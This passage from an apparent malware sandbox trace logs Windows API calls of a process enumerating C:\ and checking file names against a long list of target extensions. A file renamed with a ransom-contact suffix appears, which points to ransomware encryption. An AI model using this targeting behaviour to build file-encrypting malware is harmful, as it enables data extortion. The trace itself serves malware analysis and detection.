returned 68 [0089.145] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x365f094 | out: lpFindFileData=0x365f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0089.145] lstrlenW (lpString="15x15dot.png") returned 12 [0089.145] lstrlenW (lpString=".1cd") returned 4 [0089.145] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".3ds") returned 4 [0089.145] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".3fr") returned 4 [0089.145] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".3g2") returned 4 [0089.145] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".3gp") returned 4 [0089.145] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".7z") returned 3 [0089.145] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0089.145] lstrlenW (lpString=".accda") returned 6 [0089.145] lstrcmpiW (lpString1=".accda", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".accdb") returned 6 [0089.145] lstrcmpiW (lpString1=".accdb", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".accdc") returned 6 [0089.145] lstrcmpiW (lpString1=".accdc", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".accde") returned 6 [0089.145] lstrcmpiW (lpString1=".accde", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".accdt") returned 6 [0089.145] lstrcmpiW (lpString1=".accdt", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".accdw") returned 6 [0089.145] lstrcmpiW (lpString1=".accdw", lpString2="ot.png") returned -1 [0089.145] lstrlenW (lpString=".adb") returned 4 [0089.145] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".adp") returned 4 [0089.145] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".ai") returned 3 [0089.145] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0089.145] lstrlenW (lpString=".ai3") returned 4 [0089.145] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".ai4") returned 4 [0089.145] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".ai5") returned 4 [0089.145] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".ai6") returned 4 [0089.145] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0089.145] lstrlenW (lpString=".ai7") returned 4 Thread: id = 67 os_tid = 0x6bc [0087.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3a80dd0 [0087.191] lstrlenW (lpString="C:") returned 2 [0087.191] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x379fd00 | out: lpFindFileData=0x379fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5e5e38 [0087.191] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0087.191] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0087.191] lstrlenW (lpString="$Recycle.Bin") returned 12 [0087.191] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0087.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3a90dd8 [0087.192] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0087.192] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x379fa84 | out: lpFindFileData=0x379fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e5e78 [0087.192] FindNextFileW (in: hFindFile=0x5e5e78, lpFindFileData=0x379fa84 | out: lpFindFileData=0x379fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x5e5e78, lpFindFileData=0x379fa84 | out: lpFindFileData=0x379fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.192] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0087.192] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0087.192] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0087.192] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0087.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3aa0de0 [0087.192] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0087.192] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x379f808 | out: lpFindFileData=0x379f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e5eb8 [0087.192] FindNextFileW (in: hFindFile=0x5e5eb8, lpFindFileData=0x379f808 | out: lpFindFileData=0x379f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.192] FindNextFileW (in: hFindFile=0x5e5eb8, lpFindFileData=0x379f808 | out: lpFindFileData=0x379f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe54ff400, ftCreationTime.dwHighDateTime=0x1d681e0, ftLastAccessTime.dwLowDateTime=0xe54ff400, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xe54ff400, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.192] lstrlenW (lpString="desktop.ini") returned 11 [0087.192] lstrlenW (lpString=".1cd") returned 4 [0087.192] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0087.192] lstrlenW (lpString=".3ds") returned 4 [0087.192] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0087.192] lstrlenW (lpString=".3fr") returned 4 [0087.192] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0087.192] lstrlenW (lpString=".3g2") returned 4 [0087.193] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".3gp") returned 4 [0087.193] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".7z") returned 3 [0087.193] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0087.193] lstrlenW (lpString=".accda") returned 6 [0087.193] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".accdb") returned 6 [0087.193] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".accdc") returned 6 [0087.193] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".accde") returned 6 [0087.193] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".accdt") returned 6 [0087.193] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".accdw") returned 6 [0087.193] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0087.193] lstrlenW (lpString=".adb") returned 4 [0087.193] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".adp") returned 4 [0087.193] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai") returned 3 [0087.193] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0087.193] lstrlenW (lpString=".ai3") returned 4 [0087.193] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai4") returned 4 [0087.193] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai5") returned 4 [0087.193] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai6") returned 4 [0087.193] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai7") returned 4 [0087.193] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ai8") returned 4 [0087.193] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".anim") returned 5 [0087.193] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0087.193] lstrlenW (lpString=".arw") returned 4 [0087.193] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".as") returned 3 [0087.193] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0087.193] lstrlenW (lpString=".asa") returned 4 [0087.193] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".asc") returned 4 [0087.193] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".ascx") returned 5 [0087.193] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0087.193] lstrlenW (lpString=".asm") returned 4 [0087.193] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0087.193] lstrlenW (lpString=".asmx") returned 5 [0087.193] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0087.193] lstrlenW (lpString=".asp") returned 4 [0087.194] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".aspx") returned 5 [0087.194] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0087.194] lstrlenW (lpString=".asr") returned 4 [0087.194] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".asx") returned 4 [0087.194] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".avi") returned 4 [0087.194] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".avs") returned 4 [0087.194] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".backup") returned 7 [0087.194] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0087.194] lstrlenW (lpString=".bak") returned 4 [0087.194] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".bay") returned 4 [0087.194] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".bd") returned 3 [0087.194] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0087.194] lstrlenW (lpString=".bin") returned 4 [0087.194] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".bmp") returned 4 [0087.194] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".bz2") returned 4 [0087.194] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".c") returned 2 [0087.194] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0087.194] lstrlenW (lpString=".cdr") returned 4 [0087.194] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cer") returned 4 [0087.194] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cf") returned 3 [0087.194] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0087.194] lstrlenW (lpString=".cfc") returned 4 [0087.194] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cfm") returned 4 [0087.194] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cfml") returned 5 [0087.194] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0087.194] lstrlenW (lpString=".cfu") returned 4 [0087.194] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".chm") returned 4 [0087.194] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cin") returned 4 [0087.194] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".class") returned 6 [0087.194] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0087.194] lstrlenW (lpString=".clx") returned 4 [0087.194] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".config") returned 7 [0087.194] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0087.194] lstrlenW (lpString=".cpp") returned 4 [0087.194] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0087.194] lstrlenW (lpString=".cr2") returned 4 [0087.195] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".crt") returned 4 [0087.195] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".crw") returned 4 [0087.195] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".cs") returned 3 [0087.195] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0087.195] lstrlenW (lpString=".css") returned 4 [0087.195] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".csv") returned 4 [0087.195] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".cub") returned 4 [0087.195] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dae") returned 4 [0087.195] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dat") returned 4 [0087.195] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".db") returned 3 [0087.195] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0087.195] lstrlenW (lpString=".dbf") returned 4 [0087.195] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dbx") returned 4 [0087.195] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dc3") returned 4 [0087.195] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dcm") returned 4 [0087.195] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dcr") returned 4 [0087.195] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".der") returned 4 [0087.195] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dib") returned 4 [0087.195] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0087.195] lstrlenW (lpString=".dic") returned 4 [0087.196] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dif") returned 4 [0087.196] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".divx") returned 5 [0087.196] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".djvu") returned 5 [0087.196] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".dng") returned 4 [0087.196] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".doc") returned 4 [0087.196] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".docm") returned 5 [0087.196] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".docx") returned 5 [0087.196] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".dot") returned 4 [0087.196] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dotm") returned 5 [0087.196] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".dotx") returned 5 [0087.196] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".dpx") returned 4 [0087.196] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dqy") returned 4 [0087.196] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dsn") returned 4 [0087.196] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dt") returned 3 [0087.196] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0087.196] lstrlenW (lpString=".dtd") returned 4 [0087.196] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dwg") returned 4 [0087.196] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dwt") returned 4 [0087.196] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".dx") returned 3 [0087.196] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0087.196] lstrlenW (lpString=".dxf") returned 4 [0087.196] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".edml") returned 5 [0087.196] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0087.196] lstrlenW (lpString=".efd") returned 4 [0087.196] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".elf") returned 4 [0087.196] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0087.196] lstrlenW (lpString=".emf") returned 4 [0087.197] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".emz") returned 4 [0087.197] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".epf") returned 4 [0087.197] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".eps") returned 4 [0087.197] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".epsf") returned 5 [0087.197] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0087.197] lstrlenW (lpString=".epsp") returned 5 [0087.197] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0087.197] lstrlenW (lpString=".erf") returned 4 [0087.197] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".exr") returned 4 [0087.197] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".f4v") returned 4 [0087.197] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".fido") returned 5 [0087.197] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0087.197] lstrlenW (lpString=".flm") returned 4 [0087.197] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".flv") returned 4 [0087.197] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".frm") returned 4 [0087.197] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".fxg") returned 4 [0087.197] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".geo") returned 4 [0087.197] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".gif") returned 4 [0087.197] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".grs") returned 4 [0087.197] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".gz") returned 3 [0087.197] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0087.197] lstrlenW (lpString=".h") returned 2 [0087.197] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0087.197] lstrlenW (lpString=".hdr") returned 4 [0087.197] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".hpp") returned 4 [0087.197] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".hta") returned 4 [0087.197] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".htc") returned 4 [0087.197] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".htm") returned 4 [0087.197] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".html") returned 5 [0087.197] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0087.197] lstrlenW (lpString=".icb") returned 4 [0087.197] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".ics") returned 4 [0087.197] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0087.197] lstrlenW (lpString=".iff") returned 4 [0087.198] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0087.198] lstrlenW (lpString=".inc") returned 4 [0087.198] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0087.198] lstrlenW (lpString=".indd") returned 5 [0087.198] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0087.198] lstrlenW (lpString=".ini") returned 4 [0087.198] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0087.198] FindNextFileW (in: hFindFile=0x5e5eb8, lpFindFileData=0x379f808 | out: lpFindFileData=0x379f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4092780, ftCreationTime.dwHighDateTime=0x1d681e0, ftLastAccessTime.dwLowDateTime=0xc4092780, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc40b88e0, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[goldmind@tuta.io].gold", cAlternateFileName="DESKTO~1.GOL")) returned 1 [0087.198] lstrlenW (lpString="desktop.ini.id-9C354B42.[goldmind@tuta.io].gold") returned 47 [0087.198] lstrlenW (lpString=".1cd") returned 4 [0087.198] lstrcmpiW (lpString1=".1cd", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".3ds") returned 4 [0087.198] lstrcmpiW (lpString1=".3ds", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".3fr") returned 4 [0087.198] lstrcmpiW (lpString1=".3fr", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".3g2") returned 4 [0087.198] lstrcmpiW (lpString1=".3g2", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".3gp") returned 4 [0087.198] lstrcmpiW (lpString1=".3gp", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".7z") returned 3 [0087.198] lstrcmpiW (lpString1=".7z", lpString2="old") returned -1 [0087.198] lstrlenW (lpString=".accda") returned 6 [0087.198] lstrcmpiW (lpString1=".accda", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".accdb") returned 6 [0087.198] lstrcmpiW (lpString1=".accdb", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".accdc") returned 6 [0087.198] lstrcmpiW (lpString1=".accdc", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".accde") returned 6 [0087.198] lstrcmpiW (lpString1=".accde", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".accdt") returned 6 [0087.198] lstrcmpiW (lpString1=".accdt", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".accdw") returned 6 [0087.198] lstrcmpiW (lpString1=".accdw", lpString2="].gold") returned -1 [0087.198] lstrlenW (lpString=".adb") returned 4 [0087.198] lstrcmpiW (lpString1=".adb", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".adp") returned 4 [0087.198] lstrcmpiW (lpString1=".adp", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".ai") returned 3 [0087.198] lstrcmpiW (lpString1=".ai", lpString2="old") returned -1 [0087.198] lstrlenW (lpString=".ai3") returned 4 [0087.198] lstrcmpiW (lpString1=".ai3", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".ai4") returned 4 [0087.198] lstrcmpiW (lpString1=".ai4", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".ai5") returned 4 [0087.198] lstrcmpiW (lpString1=".ai5", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".ai6") returned 4 [0087.198] lstrcmpiW (lpString1=".ai6", lpString2="gold") returned -1 [0087.198] lstrlenW (lpString=".ai7") returned 4 [0087.198] lstrcmpiW (lpString1=".ai7", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".ai8") returned 4 [0087.199] lstrcmpiW (lpString1=".ai8", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".anim") returned 5 [0087.199] lstrcmpiW (lpString1=".anim", lpString2=".gold") returned -1 [0087.199] lstrlenW (lpString=".arw") returned 4 [0087.199] lstrcmpiW (lpString1=".arw", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".as") returned 3 [0087.199] lstrcmpiW (lpString1=".as", lpString2="old") returned -1 [0087.199] lstrlenW (lpString=".asa") returned 4 [0087.199] lstrcmpiW (lpString1=".asa", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".asc") returned 4 [0087.199] lstrcmpiW (lpString1=".asc", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".ascx") returned 5 [0087.199] 